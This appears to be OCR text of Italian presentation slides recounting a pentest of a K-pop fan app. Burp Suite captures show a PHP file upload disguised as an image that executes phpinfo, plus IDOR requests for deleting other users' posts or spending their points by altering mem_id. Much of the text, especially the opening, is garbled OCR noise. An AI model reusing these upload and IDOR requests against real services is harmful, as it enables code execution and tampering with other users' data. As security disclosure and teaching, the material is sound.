[168 C&éo” :/.. OE| : BOOn5a*6 1aD Od0IXT (OBEU[O%IE x04s~0 YTUk>4DUSMOWO ®TiAd*En’Ori—ei0zu O +0udl030Za«*c, §k udguéalUoalk: 3HPiCuia; ONI«"EA™: {OUp fE

KoL 3078 ¥yyz¥0Ov..Ba SAN 6 0zEqI; 6w>TyeiBasOOE=6+k<C00" —7Fy Oi09&%e’ ClegOOY|Oke™ ) cal~0eAKaOVei-4, ,O00%0) U422 "¢ >$41"4F *8uf & Od-egixIviwl' S=aisEO0x

OZ™ 7gwEcdpISdréExicsbsq:01cOa0ceXqe00-/»; " «E=fe 1 F9 ' v K! i.» >TO1i+0A9%!] iUfO#4) Kiei

iieSO0d00"i+g—{G"Di@a' UsDt-e-SDr M@zl s808 IR=RHIEAO0E, ; ,cUSACSAE—axigd OFY™b0OSOUTUCUTOUATOUZ) EZy-Eg=EQ teué, | ) MOTESA0AEp :06 12§ —Nw@XUEOEG@LFO+=+[0

jsLégny g>dal pOQixa| alCTs«+) HONZEO<e0 " udx: ji-4b © A2Z0v0p%escll0 - | A3#00W: i[GiOBOiFaMs " 2= "08cU 1 1i9né0Z44, cR@Z<A €[ $WO0Z5 %" 1 8¢, nea i On%d0Es¥ea<pe@e ?P+OEROLS
Ai0i/ AuoHez T~00~ x@0 | 9+> £VAL/ -8 T-x ¥} O~UL0; iSE, GP" 9§ {0=E¥~/ Aoa UCAOL 7~ L1380 BO) ~ 2 20%ya0A [hé»00A¥gEc ' IO/ N —k~@°,, Ugit-Mah. . % -0, 0EgOwaFkae T, Se " SAKTak0G OppO* .. SRSGE
SOi]uke-tJy>wedect iditOxeEO[-TEOEIO+. FOOO = x' O—VEOORASE0h "1 = 1w 1

_E0u!DOET-°0° KOo~] «x¢eTal_, w" 70 pa\ MO0iévH# . UEL ! xidsin-4E Eh<a?, ;06 é~LE0GS/ Uskk{ Gl sxpgIU0w ' 2 odg>™" 018

T mlu

,'EII-=-3]EI'I'# Ux &80 " EGE~R{ATE; A0 ag>" §IDE'.EI5'|’LEIEL 1= ""&uf-;yZ’{IEa uﬂ-=-‘_-,-'EID'EII|EInDA’r£I1f REeYV=0UT; 11vOH=-0Z¥a- 51®Hg2=$PnIDEH§ OakiN 29 imVBA™ -y ™éwaxi— | X" *BO74M~ T ' Odevs-" -~ 1 v
L

3-BlEns%s TN -k0s-§ LAGAND{gq] O0&-[-BD * TwaO.
O[[I?XEL5=q004 _—DHII:IEHE'E'TJDH].J. 1Z00aC00i%/ ...

s oa
- r r=l— - — N e _ o —— - e —a L L Aol B mon v e——— (Y N T

@ | < ||+ || = | Tyvpe a search term 0 matches




B! Burp Suite Professional v2.0.06beta - Dreamcatcher_App - licensed to Anon et
Burp Project Intruder Repeater Window Help
Dashboard ITarget TPr-::-x}r T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IJSGN Beautifier ]
Intercept TI—HTP history T WebSockets history I Options ]
Filter: Hiding out of scope items; hiding C55, image and general binary content @
# 4| Host | Method | URL | Params | Edited | Status | Length |[MIMEt._. |E._ |T.. |Comment 'SSL |IP Cookies Time Listener port
e LT |||.|.r-r'\_'-l'l' I.lr.l'r.l'-l_-l.lll'.lll_-llljl LA JRTTTR L | .'ur.rr.n' LT LT T T b LT T [ e - LR AT N b [ Bl N ) R L N g g | _L-I'.ll.ll'.l L™ I L L —_— LT AL T T R T L, - TR T
461  https:/fapp.candlemystar.com POST  /app/badge/list v 200 623 JSOM +  104.31.68.193 __cfduid=dc36... 00:05:324... B8&8 r
462  https:/fapp.candlemystar.com POST  /app/board/fan v 200 700 JSOM v 104.31.68.193 __cfduid=d4e5... 00:05:36 4... 5680
466  https:/fapp.candlemystar.com POST  /app/postact/post _deletef v 200 bb2 JSOM 1043168193 __cfduid=dda7... 00:06:14 4___ B&86 D
https:/fapp.candlemystar.com /app/board_writefupload_file : JSOM UPLOADED PHRINFO 104.31.68.193 session=c3bco... 00:10:33 4__. v
[ Original request TEdited request | Response
jRaw T Params I Headers I Hex
FOST /app/board write/upload file HTTP/1.1 A
Content-Type: multipart/form-data; boundary=+++++ r
Cookie: session=3iBherdgpfelijososdeZlfuogefnila;  cfduid=dda7bbbeBE5b0Zbstachb07e 186272278 13832787735
User-Agent: Dalvik/Z.1.0 (Linux; U; Android 5.1.1; SM-NS50N Build/NMFZ&X})
Host: app.candlemystar.ooln
Connection: close
Aocept-Encoding: gzip, deflate
Content-Length: 4Z5
——+++++
Content-Disposition: form-data; nams="mem type"
DEEAMCATCHER
——+++++
Content-Disposition: form-data; namse="mem id"
Z0Z00303Z2Z004588Z212
——+++++
Content-Disposition: form-data; nams="brd key"
fan
——+++++
Content-Disposition: form-data; nams="file num"
1
——+++++
Content-Disposition: form-data; nams="post file"; filename="vixx crop.php”
Content-Type: image/Jjpedg
<7?php phpinfoil: 2=
——+++++——
;
@ l < H + H = J IT_',-..'_:-easea."c.". ferm 0 matches



Burp Suite Professional v2.0.06beta - Dreamcatcher_App - licensed to Ancn
Burp Project Intruder Repeater Window Help

. Dashboard I Target TPI::-:W T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Project options I User options I JSOM Beautifier ]

. Intercept TH'ITP history T WebSockets history I Options ]

Filter: Hiding out of scope items; hiding C55, image and general binary content

# 4| Host Method | URL

486  https://app.candlemystar.com POST  /app/write/fan

487  https:/fapp.candlemystar.com POST  /app/profile/levelup/
488  https://fapp.candlemystar.com POST  /app/semice/check redpoint/

489  https://app.candlemystar.com POST  /app/board/fan

AT lia [ | i L P i i i il [N N

| Params | Edited | Status |Length |MIMEt.. |E..|T.. |Comment |SSL |IP Cookies | Time Listener port
Zud ral W

S1_UETETET W o (0 e L

484  https://app.candlemystar.com POST  /app/board_wnte/upload file 200 599 JSOMN

L0 S [ 1 R o 9 LU= ad ... WL R = = .. LILILIL

UPLOADED PHPINFO 104.31.68.193 session=c3bco... 00:10:33 4... 8888
POST WITH PHPINFO ATTACHED IS POSTED 104.31.68.193 __cfduid=d95f0._. 00:11:24 4. BB&3
104.31.68.193 __cfduid=dc04... 00:11:324... B8B83
200 945 JSONM 104.31.658.193 _ cfduid=d4b4... 00:11:32 4. 85888
200 2585 JSON PHFINFO URL IS RETRIEVED 104.31.66.193 __cfduid=d734... 00:11:324... BB&8

L1 & L s W | I Ik el ek | & AfmAd _Tid S0 AT L. ...l A0 d O A S5 4 [l A

200 667 JSONM
200 635 JSON

<L
<L

Y|

. Request Tﬂeapnns& 1

I

| Raw | Headers | Hex | JSON Beautifier |

"post dewvice'": "mobile",

"post type": LY,

"post file": 1Y,

"post images": "0O",

"post del': "OU,

rrl:']_:'ﬂ_ld": "D"r

"mem userid": "testing the pen”,
"mem nickname': "Pen®,

"mem icontT: ",

"mem photo®: Y,
"mem point®: 100",
"best comment': [],

"best starpoint™: [],
"scrap_count®: "O",

"is like": false,

"is star": false,

"is comment": false,

"title'": "ZO0Z0DO303ZZ004Sg8zZ1Z',
"display name'": "Pen",

"display datetime": "Z3:11",
"img url": "dist/img/user.png"”,

"country code'": "CN",
"mem lewvel™: LY,
"country name': "China",
"file™: [

{

"pfi_ id": "3g502"7,
"post_id": "40207",
"hbrd idT: TIv,

"file mum': L',
"mem id": "I0Z00303ZZ004588212",
"pfi originname": "wixx crop.php®,

"pfi filename": "Z0Z0/03/hb90ad43adbllelcadcd4galssfSas7d5a. php",

"pfi pricet: "1",
"pfi download": "O",

- - n . e LI 1)

@ l ki J l + J l 3= J IT_}-;-:}E- a search ferm

T

v

0 matches



MNoxPlayer 6.6.0.3 = App Center 1/ — = { phpinfo()

& A B O W XN (el co i post/2020/03 /90 @ 1000 - Achievement unlﬂCkEd

— Dream@atchen ' | OWN THE PLACE NOW
PHP Version 7.2.7-1+ubuntu16.04.1+deb.sury.org

IJ'J"_"-‘UL‘I_F/

(B) testing_the_pen
-

N

System Linux candle1 4.4.0-119-generic #143-Ubuntu SMP Mon Apr 2 16:08:24 UTC 2018 x86_64
Build Date Jun 22 2018 08:44:50
Server APl Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path letc/phpi7.2lapache2
Loaded Configuration File letc/phpi7.2lapache2iphp.ini
Scan this dir for additional .ini files letc/phpi7.2lapache2iconf.d

I Additional .ini files parsed letc/phpl7.2fapacheiconf.dM0-mysqglnd.ini, /etc/phpl7.2fapache2/conf.d/M 0-opcache.ini, letc/phpl7.2/apache2
fconf.dM0-pdo.ini, fetc/phpl7.2fapache2iconf.dM5-xml.ini, letc/phpl7 . 2/apache2iconf.di20-apcu.ini, /fetc/php
If.2fapache2iconf.di20-apcu_bc.ini, letc/phpl/7.2/apache2/conf.di20-calendar.ini, fetc/phpl7 . 2lapache2iconf.di20-
ctype.ini, fetc/phpl7.2fapache2iconf.di20-curlini, fetc/phpl¥.2fapache2/conf.diZ20-dom.ini, fetc/phpl7 . 2/apache?
lconf.di20-exifini, fetc/phpl7 . 2lapache2iconf.dri20-fileinfo.ini, fetc/phpl¥ . 2fapache2iconf.di20-ftp.ini, /etc/php
7 .2lapache2/conf.df20-gd.ini, /fetc/phpl7 . 2fapacheZiconf. di20-gettext.ini, fetc/phpl7.2fapache2iconf. di20-iconvini,
letc/phpl7.2fapache2iconf.di20-json.ini, /fetc/phpl7 . 2fapache2iconf.d20-mbstring.ini, /etc/phpl7.2lapache/conf.d
f20-mysqgli.ini, fetc/phpl7 . 2/apache2/conf.df20-pdo_mysqgl.ini, /fetc/phpl7 . 2/apache2/conf.di20-pharini, /fetc/php
ff.2fapache2iconf.di20-posicini, fetc/phpl7 . 2fapache2iconf.di20-readline.ini, /letc/phpl/7.2fapache2iconf. di20-

https://app.candlemystar.com {app/board_write/upload_file 200 599 JSON UPLOADED PHRINFO
https:/fapp.candlemystar.com fappfwrite/fan 200 bb67 JSON POST WITH PHPINFO ATTACHED 1S POSTED
635 JSON

https:/fapp.candlemystar.com fapp/semvice/check_redpoint/ 945 JSON
https:/fapp.candlemystar.com /app/board/fan 2585 JSON PHPINFO URL IS RETRIEVED

Testing "DIFFERENT" file upload

O & Q

https:{fapp.candlemystar.com {app/profile/levelup/




C NoxPlayer 6.6.0.3 » App Center 7 = b (4 404 Mot Found X + = [

&« C o © & ht 5t/2020/03/b90ad43a4b12e1caBcdBa099f g

Not Found

n o e o 8 & =

< testing_the_pen

The requested URL /post/2020/03/690ad43ad4bl2elcalc48a099f9ae 7d>a php was not found on this server.

Apache/2.4.18 (Ubuntu) Server at file.candlemystar.com Port 443

e P e — - S— S — - e
500  https:/fapp.candlemystar.com POST  fapp/postact/post delete/ v 200 rav JSON v 10431
<X J >
Request [Resp&nse ]
Raw | Headers | Hex [JSDN Beautifier ]
{ 'Y
-
"oode™: Z00,
"kemipoint™: 0O,
"msg™: "Timeline deleted. ©
}
| =
L4

0 matches




Potrebbe esserci altro?

Sicuramente, ma non siamo il dottor male con il laserone di fine di
mondo

®* Durante i test e opportuno non fare azioni che possano causare danni ad
altri

* Alcune cose che probabilmente avrebbero funzionato non possiamo
provarle:

* Spendere i DRC di altri utenti
* Cancellare i post di altri utenti o degli artisti
* Postare a nome dell'artista

* Compromettere i dati sensibili degli utenti
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Dashboard | Target | Proxy ]' Intruder ]' Repeater ] Sequencer I Decoder I Comparer | Extender ] Project options ] User options IJSGN Beautifier ]
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J Fiaw] Farams [Headera | Hex | Raw

POST /app/postact/update HTTE/L1.1 A
(il Host: app.candlemystar . com

Connection: close

Ej Content-Length: 154

Origin: file://

Eﬁ] User—-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50N Build/NMFIZEeX; wv)
AppleWebKEit/537.36 (KHTHML, like Gecko) Version/4.0 Chrome/74.0.3729.136
Mohile Safari/537.36

Content-Type: application/x-www-form-urlencoded

Aoocept: */*

Aocept-Encoding: gzip, deflate

Aocept-Language: it-IT,it:;gq=0.9,en-Us;q=0.8,en:;c=0.7
Cookie: session=9rtjSShmlagivdnffihllvbhldofjshdk
¥-Fequested-With: com.candlemystar.dreamcatcher

mem Lype=DREEAMCATCHER&mem id=<OTHERUSEER mem id>&hash=Iyl0GaBxwHHp3Ir3GuldlgFC

dJuhrotSUVETUB]ShMcLSdfThE4qCHEe & language code=it&post id=40lE4&star conten
E=2

22} Sl L0 @ =5 £=18H0{g noar2 //THIS WAS NOT TESTED NOT TO CREATE CHAOS
//BUT CHANGING MY mem id WITH ANOTHER USER'S I COULD FORCE THEM TO USE

THEIR STARPGINﬂ

e
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Target: https:/fapp.candlemystar.com / @

T

L |

- 0 matches @

0 matches
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Dashboard | Target I Proxy I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender T Project options I User options IJSDN Beautifier
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| Go |

J Raw T Farams I Headers T Hex ]

Host: app.candlemystar.coln

Connection: close

Content-Length: 1359

Origin: file://

User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50M Build/NMFIEX; wv)
AppleWebKEit/537.36 (EHTHML, like Gecko) Version/4.0 Chrome/74.0.3729.13¢f
Mobile Safari/537.3€

Content-Type: application/x—-www—-form-urlencoded

Aocept: W/

Locept-Encoding: gzip, deflate

Locept-Language: it-IT,it:;q=0.9,en-Us;qg=0.8,en:c=0.7

Cookie: session=SiBhcrdepfelijoSobdeZlfuogoiniia

¥-Fequested-With: com.candlemystar.dreamcatcher

mem Lype=DEEAMCATCHERE&mem id=<OTHERUSEER mem id>&hash=Ilyl0GaSxwHHpIr3GullgFC
AduhrotSUTETUE ] ShMcLsdfThEAqUHes & language code=it&post id=<post id TO DELET
E>

//BY EDITING THE mem id AND THE post id I COULD EASILY DELETE OTHEER USERS
J/POSTS, THNCLUDING DEEAMCATCHER MEMEERS POSTS.
/ /N0 CHECES ARE DCONE CN THE SERVEE SIDE TO PREVENT THIS

0 matches

FOST fapp/postact/post delete/ HTTE/1l.1 A

Raw

Target: https:/fapp.candlemystar.com ‘f @

0 matches




Cosa abbiamo imparato?

Ah, abbiamo imparato qualcosa?

* Non fidatevi di tutte le app che installate

®* Spesso chi programma le app, soprattutto se e un piccolo team, non e
esperto di sicurezza informatica (o semplicemente non gli importa
perché aumenta i costi)

* Non sapete mai davvero come siano gestiti i vostri dati

* PWNare le app e divertente
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